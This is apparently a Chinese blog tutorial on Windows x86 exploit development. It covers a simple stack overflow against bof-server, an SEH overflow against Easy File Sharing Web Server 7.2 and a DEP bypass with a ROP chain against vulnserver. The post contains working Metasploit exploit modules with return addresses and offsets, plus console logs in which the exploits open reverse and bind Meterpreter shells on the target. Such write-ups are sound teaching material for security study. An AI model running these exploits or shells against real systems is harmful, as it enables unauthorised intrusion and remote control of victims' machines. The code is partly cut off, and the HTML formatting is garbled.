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2019-07-14 07:58:13 +00:00
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< p > 这部分是对Window x86平台下的几个典型漏洞利用方式的介绍， ， ， < / p >
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< hr >
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< h1 id = "0x00-漏洞利用开发简介" > < a href = "#0x00-漏洞利用开发简介" class = "headerlink" title = "0x00 漏洞利用开发简介" > < / a > 0x00 漏洞利用开发简介< / h1 > < p > （ ） < / p >
< ul >
< li > Immunity Debugger -< a href = "http://debugger.immunityinc.com/ID_register.py" target = "_blank" rel = "noopener" > Download< / a > < / li >
< li > Mona.py -< a href = "https://github.com/corelan/mona" target = "_blank" rel = "noopener" > Download< / a > < / li >
< li > Metasploit框架-< a href = "https://www.metasploit.com/" target = "_blank" rel = "noopener" > 下载< / a > < / li >
< li > 靶机– < / li >
< / ul >
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< p > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562741903/pwn/%E6%8D%95%E8%8E%B7.png" alt > < / p >
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< ul >
< li > 函数调用与栈：调用、返回< / li >
< li > 寄存器与函数栈帧： < / li >
< li > 函数栈帧：局部变量、栈帧状态值、函数返回地址< / li >
< li > 函数调用约定与相关指令：参数传递方式、参数入栈顺序、恢复堆栈平衡的操作< / li >
< / ul >
< p > （ ） < / p >
< ol >
< li > < p > 示例程序< / p >
< figure class = "highlight cpp" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > charname[] = < span class = "string" > "1234567"< / span > ;< / span > < br > < span class = "line" > voidfunc(< span class = "keyword" > int< / span > a, < span class = "keyword" > int< / span > b, < span class = "keyword" > int< / span > c)< / span > < br > < span class = "line" > { < / span > < br > < span class = "line" > charbuf[< span class = "number" > 8< / span > ];< / span > < br > < span class = "line" > < span class = "built_in" > strcpy< / span > (buf, name);< / span > < br > < span class = "line" > } < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< / li >
< li > < p > 汇编过程< / p >
< / li >
< / ol >
< ul >
< li > PUSH c, PUSH b, PUSH a< / li >
< li > CALL address of func【保存返回地址； < / li >
< li > MOV ebp, esp< / li >
< li > PUSH ebp< / li >
< li > SUB esp, 0x40< / li >
< li > 创建局部变量， < / li >
< li > do something< / li >
< li > add esp, 0x40< / li >
< li > pop ebp< / li >
< li > RETN【弹出返回地址， < / li >
< / ul >
< ol start = "3" >
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< li > 栈帧结构< br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742079/pwn/%E6%8D%95%E8%8E%B71.png" alt > < / li >
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< / ol >
< h1 id = "0x01-简单栈溢出" > < a href = "#0x01-简单栈溢出" class = "headerlink" title = "0x01 简单栈溢出" > < / a > 0x01 简单栈溢出< / h1 > < blockquote >
< p > < strong > 目标程序:< / strong > < br > < a href = "http://redstack.net/blog/static/uploads/2008/01/bof-server.c" target = "_blank" rel = "noopener" > bof-server source code< / a > < br > < a href = "http://redstack.net/blog/wp-content/uploads/2008/01/bof-server.exe" target = "_blank" rel = "noopener" > bof-server binary for Windows< / a > < br > < strong > usage:< / strong > < br > 服务端< br > < code > bof-server.exe 4242< / code > < br > 客户端< br > < code > telnet localhost 4242< / code > < br > < code > version< / code > < br > < code > bof-server v0.01< / code > < br > < code > quit< / code > < / p >
< / blockquote >
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< h2 id = "漏洞点" > < a href = "#漏洞点" class = "headerlink" title = "漏洞点" > < / a > 漏洞点< / h2 > < p > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742316/pwn/%E5%9B%BE%E7%89%871.png" alt > < / p >
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< p > < strong > 产生崩溃< / strong > < br > 将输出的1024个A发送给靶机程序< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > python -c " print(' A' * 1024)" < / span > < br > < span class = "line" > telnet 192.168.64.138 4242< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
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< p > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742366/pwn/%E5%9B%BE%E7%89%872.png" alt > < / p >
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< h2 id = "关闭防御措施" > < a href = "#关闭防御措施" class = "headerlink" title = "关闭防御措施" > < / a > 关闭防御措施< / h2 > < p > 使用< strong > PESecurity< / strong > 检查可执行文件本身的防御措施开启情况< br > 注意设置： < / p >
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< p > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742444/pwn/%E5%9B%BE%E7%89%873.png" alt > < / p >
< p > < strong > ASLR和DEP< / strong > < br > ASLR在xp下不用考虑， （ ） < br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742486/pwn/%E5%9B%BE%E7%89%874.png" alt > < / p >
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< h2 id = "整体的攻击流程" > < a href = "#整体的攻击流程" class = "headerlink" title = "整体的攻击流程" > < / a > 整体的攻击流程< / h2 > < ol >
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< li > 任意非00的指令覆盖buffer和EBP< / li >
< li > 从程序已经加载的dll中获取他们的jmp esp指令地址。< / li >
< li > 使用jmp esp的指令地址覆盖ReturnAddress< / li >
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< li > 从下一行开始填充Shellcode< br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742543/pwn/%E5%9B%BE%E7%89%875.png" alt > < / li >
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< / ol >
< h2 id = "确定溢出点的位置" > < a href = "#确定溢出点的位置" class = "headerlink" title = "确定溢出点的位置" > < / a > 确定溢出点的位置< / h2 > < ol >
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< li > < p > 生成字符序列 < strong > pattern_create.rb< / strong > < br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742622/pwn/%E5%9B%BE%E7%89%876.png" alt > < / p >
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< / li >
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< li > < p > 发送给目标程序< br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742623/pwn/%E5%9B%BE%E7%89%877.png" alt > < / p >
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< / li >
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< li > < p > 计算偏移量 < strong > pattern_offset.rb< / strong > < br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742685/pwn/%E5%9B%BE%E7%89%878.png" alt > < / p >
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< / li >
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< li > < p > 确定payload结构< br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742686/pwn/%E5%9B%BE%E7%89%879.png" alt > < / p >
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< / li >
< / ol >
< h2 id = "寻找jmp-esp跳板" > < a href = "#寻找jmp-esp跳板" class = "headerlink" title = "寻找jmp esp跳板" > < / a > 寻找jmp esp跳板< / h2 > < ol >
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< li > OD附加进程看一下服务器加载了哪些模块< br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742794/pwn/%E5%9B%BE%E7%89%8710.png" alt > < / li >
< li > 查找JMP ESP指令的地址< br > 在这里选择了ws2_32.dll作为对象， < br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742793/pwn/%E5%9B%BE%E7%89%8711.png" alt > < / li >
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< / ol >
< h2 id = "自动化攻击" > < a href = "#自动化攻击" class = "headerlink" title = "自动化攻击" > < / a > 自动化攻击< / h2 > < figure class = "highlight ruby" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < span class = "line" > 38< / span > < br > < span class = "line" > 39< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "keyword" > require< / span > < span class = "string" > 'msf/core'< / span > < / span > < br > < span class = "line" > < span class = "class" > < span class = "keyword" > class< / span > < span class = "title" > Metasploit3< / span > < Msf::Exploit::< span class = "title" > Remote< / span > < / span > < / span > < br > < span class = "line" > Rank = NormalRanking< / span > < br > < span class = "line" > < span class = "keyword" > include< / span > Msf::Exploit::Remote::Tcp< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "function" > < span class = "keyword" > def< / span > < span class = "title" > initialize< / span > < span class = "params" > (info = { } )< / span > < / span > < / span > < br > < span class = "line" > < span class = "keyword" > super< / span > (update_info(info,< / span > < br > < span class = "line" > < span class = "string" > 'Name'< / span > => < span class = "string" > 'Stack Based Buffer Overflow Example'< / span > ,< / span > < br > < span class = "line" > < span class = "string" > 'Description'< / span > => < span class = "string" > %q{ < / span > < / span > < br > < span class = "line" > < span class = "string" > Stack Based Overflow Example Application Exploitation Module< / span > < / span > < br > < span class = "line" > < span class = "string" > } < / span > ,< / span > < br > < span class = "line" > < span class = "string" > 'Platform'< / span > => < span class = "string" > 'Windows'< / span > ,< / span > < br > < span class = "line" > < span class = "string" > 'Author'< / span > => < span class = "string" > 'yanhan'< / span > ,< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "string" > 'Payload'< / span > => < / span > < br > < span class = "line" > { < / span > < br > < span class = "line" > < span class = "string" > 'space'< / span > => < span class = "number" > 400< / span > ,< / span > < br > < span class = "line" > < span class = "string" > 'BadChars'< / span > => < span class = "string" > "\x00\xff"< / span > < / span > < br > < span class = "line" > } ,< / span > < br > < span class = "line" > < span class = "string" > 'Targets'< / span > => < / span > < br > < span class = "line" > [< / span > < br > < span class = "line" > [< / span > < br > < span class = "line" > < span class = "string" > 'Windows XP SP3'< / span > ,< / span > < br > < span class = "line" > { < span class = "string" > 'Ret'< / span > => < span class = "number" > 0x71a22b53< / span > , < span class = "string" > 'Offset'< / span > => < span class = "number" > 520< / span > } < / span > < br > < span class = "line" > ]< / span > < br > < span class = "line" > ],< / span > < br > < span class = "line" > < span class = "string" > 'DisclosureDate'< / span > => < span class = "string" > '2019-05-25'< / span > < / span > < br > < span class = "line" > ))< / span > < br > < span class = "line" > < span c
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< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > msf5 > use exploit/windows/yanhan/bof_attack< / span > < br > < span class = "line" > msf5 exploit(windows/yanhan/bof_attack) > set rhosts 192.168.31.114< / span > < br > < span class = "line" > rhosts => 192.168.31.114< / span > < br > < span class = "line" > msf5 exploit(windows/yanhan/bof_attack) > set rport 1000< / span > < br > < span class = "line" > rport => 1000< / span > < br > < span class = "line" > msf5 exploit(windows/yanhan/bof_attack) > exploit< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > [*] Started reverse TCP handler on 192.168.31.84:4444< / span > < br > < span class = "line" > [*] Sending stage (179779 bytes) to 192.168.31.114< / span > < br > < span class = "line" > [*] Meterpreter session 1 opened (192.168.31.84:4444 -> 192.168.31.114:1062) at 2019-07-10 16:38:51 +0800< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > meterpreter > ls< / span > < br > < span class = "line" > Listing: C:\Documents and Settings\Administrator< / span > < br > < span class = "line" > ================================================< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > Mode Size Type Last modified Name< / span > < br > < span class = "line" > ---- ---- ---- ------------- ----< / span > < br > < span class = "line" > 40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Application Data< / span > < br > < span class = "line" > 40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Cookies< / span > < br > < span class = "line" > 40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Favorites< / span > < br > < span class = "line" > 40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Local Settings< / span > < br > < span class = "line" > 40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 My Documents< / span > < br > < span class = "line" > 100666/rw-rw-rw- 1048576 fil 2019-05-14 09:54:43 +0800 NTUSER.DAT< / span > < br > < span class = "line" > 40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 NetHood< / span > < br > < span class = "line" > 40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 PrintHood< / span > < br > < span class = "line" > 40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Recent< / span > < br > < span class = "line" > 40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 SendTo< / span > < br > < span class = "line" > 40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Templates< / span > < br > < span class = "line" > 100777/rwxrwxrwx 26665 fil 2019-05-28 14:59:10 +0800 bof-server.exe< / span > < br > < span class = "line" > 100666/rw-rw-rw- 1024 fil 2019-05-14 09:54:43 +0800 ntuser.dat.LOG< / span > < br > < span class = "line" > 100666/rw-rw-rw- 178 fil 2019-05-14 09:54:43 +0800 ntuser.ini< / span > < br > < span class = "line" > 40777/rwxrwxrwx 0 dir 2019-05-29 10:49:26 +0800 vulnserver< / span > < br > < span class = "line" > 40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 「开始」菜单< / span > < br > < span
< hr >
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< h1 id = "0x02-基于SEH的栈溢出" > < a href = "#0x02-基于SEH的栈溢出" class = "headerlink" title = "0x02 基于SEH的栈溢出" > < / a > 0x02 基于SEH的栈溢出< / h1 > < blockquote >
< p > < strong > 目标程序< / strong > Easy File Sharing Web Server 7.2< / p >
< p > < strong > 漏洞点< / strong > < br > 在处理请求时存在漏洞——一个恶意的请求头部（ ） ， < / p >
< p > < strong > 利用seh< / strong > < br > 填充物+nseh+ seh（ ） < / p >
< p > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744120/11.png" alt > < / p >
< / blockquote >
< h2 id = "确定溢出点的位置-1" > < a href = "#确定溢出点的位置-1" class = "headerlink" title = "确定溢出点的位置" > < / a > 确定溢出点的位置< / h2 > < ol >
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< li > 生成字符序列< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 10000 > a.txt< / span > < br > < span class = "line" > python -c " print(' HTTP/1.0\r\n\r\n' )" > b.txt< / span > < br > < span class = "line" > cat a.txt b.txt > c.txt< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
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< / li >
< / ol >
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< p > 删除cat造成的多余字符0x0a< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > vim -bz.txt< / span > < br > < span class = "line" > # In Vim< / span > < br > < span class = "line" > :%!xxd< / span > < br > < span class = "line" > # After editing, use the instruction below to save< / span > < br > < span class = "line" > :%!xxd -r< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
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< ol start = "2" >
< li > 构造SEH链< / li >
< / ol >
< ul >
< li > 将Easy File Sharing Web Server 7.2加载到ImmunityDebugger中， < / li >
< li > 发送溢出字符序列< / li >
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< li > 查看Easy File Sharing Web Server 7.2溢出地址< br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744240/pwn/231.png" alt > < / li >
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< / ul >
< ol start = "3" >
< li > 计算偏移量< br > 计算catch块偏移量& 计算下一条SEH记录偏移量< / li >
< / ol >
< h2 id = "寻找PPR" > < a href = "#寻找PPR" class = "headerlink" title = "寻找PPR" > < / a > 寻找PPR< / h2 > < ol >
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< li > 使用mona寻找< br > 需要POP/POP/RET指令的地址来载入下一条SEH记录的地址， < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > !mona modules< / span > < br > < span class = "line" > !mona seh< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
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< / li >
< / ol >
< h2 id = "自动化攻击-1" > < a href = "#自动化攻击-1" class = "headerlink" title = "自动化攻击" > < / a > 自动化攻击< / h2 > < ol >
< li > < p > 编写攻击脚本< / p >
< figure class = "highlight ruby" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < span class = "line" > 38< / span > < br > < span class = "line" > 39< / span > < br > < span class = "line" > 40< / span > < br > < span class = "line" > 41< / span > < br > < span class = "line" > 42< / span > < br > < span class = "line" > 43< / span > < br > < span class = "line" > 44< / span > < br > < span class = "line" > 45< / span > < br > < span class = "line" > 46< / span > < br > < span class = "line" > 47< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "keyword" > require< / span > < span class = "string" > 'msf/core'< / span > < / span > < br > < span class = "line" > < span class = "class" > < span class = "keyword" > class< / span > < span class = "title" > MetasploitModule< / span > < Msf::Exploit::< span class = "title" > Remote< / span > < / span > < / span > < br > < span class = "line" > Rank = NormalRanking< / span > < br > < span class = "line" > < span class = "keyword" > include< / span > Msf::Exploit::Remote::Tcp< / span > < br > < span class = "line" > < span class = "keyword" > include< / span > Msf::Exploit::Seh< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "function" > < span class = "keyword" > def< / span > < span class = "title" > initialize< / span > < span class = "params" > (info = { } )< / span > < / span > < / span > < br > < span class = "line" > < span class = "keyword" > super< / span > (update_info(info,< / span > < br > < span class = "line" > < span class = "string" > 'Name'< / span > => < span class = "string" > 'Easy File Sharing HTTP Server 7.2 SEH Overflow'< / span > ,< / span > < br > < span class = "line" > < span class = "string" > 'Description'< / span > => < span class = "string" > %q{ < / span > < / span > < br > < span class = "line" > < span class = "string" > This Module Demonstrate SEH based overflow example< / span > < / span > < br > < span class = "line" > < span class = "string" > } < / span > ,< / span > < br > < span class = "line" > < span class = "string" > 'Author'< / span > => < span class = "string" > 'yanhan'< / span > ,< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "string" > 'Payload'< / span > => < / span > < br > < span class = "line" > { < / span > < br > < span class = "line" > < span class = "string" > 'Space'< / span > => < span class = "number" > 390< / span > ,< / span > < br > < span class = "line" > < span class = "string" > 'BadChars'< / span > => < span class = "string" > "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e"< / span > < / span > < br > < span class = "line" > } ,< / span > < br > < span class = "line" > < span class = "string" > 'Platform'< / span > => < span class = "string" > 'Windows'< / span > ,< / span > < br > < span class = "line" > < span class = "string" > 'Targets'< / span > => < / span > < br > < span class = "line" > [< / span > < br > < span class = "line" > [< / span > < br > < span class = "line" > < span class = "string" > 'Easy File Sharing 7.2 HTTP'< / span > ,< / span > < br > < span class = "line" > { < / span > < br > < span class = "line" > < span class = "string" > 'Ret'< / span > => < span class = "number" > 0x10022fd
< / li >
< li > < p > exploit< / p >
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< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > msf5 > use exploit/windows/yanhan/seh_attack< / span > < br > < span class = "line" > msf5 exploit(windows/yanhan/seh_attack) > set rhosts 192.168.31.114< / span > < br > < span class = "line" > rhosts => 192.168.31.114< / span > < br > < span class = "line" > msf5 exploit(windows/yanhan/seh_attack) > set rport 80< / span > < br > < span class = "line" > rport => 80< / span > < br > < span class = "line" > msf5 exploit(windows/yanhan/seh_attack) > exploit< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > [*] Started reverse TCP handler on 192.168.31.84:4444< / span > < br > < span class = "line" > [*] Exploit completed, but no session was created.< / span > < br > < span class = "line" > msf5 exploit(windows/yanhan/seh_attack) > set payload windows/meterpreter/bind_tcp< / span > < br > < span class = "line" > payload => windows/meterpreter/bind_tcp< / span > < br > < span class = "line" > msf5 exploit(windows/yanhan/seh_attack) > exploit< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > [*] Started bind TCP handler against 192.168.31.114:4444< / span > < br > < span class = "line" > [*] Sending stage (179779 bytes) to 192.168.31.114< / span > < br > < span class = "line" > [*] Meterpreter session 1 opened (192.168.31.84:46601 -> 192.168.31.114:4444) at 2019-07-10 16:43:47 +0800< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > meterpreter > getuid< / span > < br > < span class = "line" > Server username: WHU-3E3EECEBFD1\Administrator< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
2019-07-10 09:03:44 +00:00
< / li >
< / ol >
2019-07-14 07:58:13 +00:00
< hr >
2019-07-10 09:03:44 +00:00
< h1 id = "0x03-绕过DEP" > < a href = "#0x03-绕过DEP" class = "headerlink" title = "0x03 绕过DEP" > < / a > 0x03 绕过DEP< / h1 > < blockquote >
< p > < strong > 目标程序< / strong > < a href = "http://www.thegreycorner.com/2010/12/introducing-vulnserver.html" target = "_blank" rel = "noopener" > Introducing Vulnserver< / a > < br > < strong > 使用< / strong > vulnserver.exe 6666< br > < strong > 漏洞点< / strong > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744461/%E5%9B%BE%E7%89%8712.png" alt > < / p >
< / blockquote >
2019-07-26 01:02:13 +00:00
< h2 id = "设置DEP保护" > < a href = "#设置DEP保护" class = "headerlink" title = "设置DEP保护" > < / a > 设置DEP保护< / h2 > < p > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744518/pwn/%E6%8D%9511%E8%8E%B7.png" alt > < br > < em > 构建ROP链来调用VirtualProtect()关闭DEP并执行Shellcode< / em > < / p >
2019-07-10 09:03:44 +00:00
< h2 id = "计算偏移量" > < a href = "#计算偏移量" class = "headerlink" title = "计算偏移量" > < / a > 计算偏移量< / h2 > < p > < code > ' TRUN .' +make_nops(target[' Offset' ])< / code > < br > Immunity附加进程之后， ， < / p >
< h2 id = "创建ROP链" > < a href = "#创建ROP链" class = "headerlink" title = "创建ROP链" > < / a > 创建ROP链< / h2 > < p > < code > !mona rop -m *.dll -cp nonull< / code > < br > < figure class = "highlight ruby" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < span class = "line" > 38< / span > < br > < span class = "line" > 39< / span > < br > < span class = "line" > 40< / span > < br > < span class = "line" > 41< / span > < br > < span class = "line" > 42< / span > < br > < span class = "line" > 43< / span > < br > < span class = "line" > 44< / span > < br > < span class = "line" > 45< / span > < br > < span class = "line" > 46< / span > < br > < span class = "line" > 47< / span > < br > < span class = "line" > 48< / span > < br > < span class = "line" > 49< / span > < br > < span class = "line" > 50< / span > < br > < span class = "line" > 51< / span > < br > < span class = "line" > 52< / span > < br > < span class = "line" > 53< / span > < br > < span class = "line" > 54< / span > < br > < span class = "line" > 55< / span > < br > < span class = "line" > 56< / span > < br > < span class = "line" > 57< / span > < br > < span class = "line" > 58< / span > < br > < span class = "line" > 59< / span > < br > < span class = "line" > 60< / span > < br > < span class = "line" > 61< / span > < br > < span class = "line" > 62< / span > < br > < span class = "line" > 63< / span > < br > < span class = "line" > 64< / span > < br > < span class = "line" > 65< / span > < br > < span class = "line" > 66< / span > < br > < span class = "line" > 67< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "comment" > ################################################################################< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > Register setup < span class = "keyword" > for< / span > VirtualProtect() < span class = "symbol" > :< / span > < / span > < br > < span class = "line" > --------------------------------------------< / span > < br > < span class = "line" > EAX = NOP (< span class = "number" > 0x90909090< / span > )< / span > < br > < span class = "line" > ECX = lpOldProtect (ptr to W address)< / span > < br > < span class = "line" > EDX = NewProtect (< span class = "number" > 0x40< / span > )< / span > < br > < span class = "line" > EBX = dwSize< / span > < br > < span class = "line" > ESP = lPAddress (automatic)< / span > < br > < span class = "line" > EBP = ReturnTo (ptr to jmp esp)< / span > < br > < span class = "line" > ESI = ptr to VirtualProtect()< / span > < br > < span class = "line" > EDI = ROP NOP (RETN)< / span > < br > < span class = "line" > --- alternative chain ---< / span > < br > < span class = "line" > EAX = ptr to & VirtualProtect()< / span > < br > < span class = "line" > ECX = lpOldProtect (ptr to W address)< / span > < br > < span class = "line" > EDX = NewProtect (< span class = "number" > 0x40< / span > )< / span > < br > < span class = "line" > EBX = dwSize< / span > < br > < span class = "line" > ESP = lPAddress (automatic)< / span > < br > < span class = "line" > EBP = POP (skip < span class = "number" > 4< / span > bytes)< / span > < br > < span class = "line" > ESI = ptr to JMP [EAX]< / span > < br > < span class = "line" > EDI = ROP NOP (RETN)< / span > < br > < span class = "line" > + place ptr to < span class = "string" > "jmp esp"< / span > on stack, below PUSHAD< / span > < br > < span class = "line" > --------------------------------------------< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > ROP Chain < span
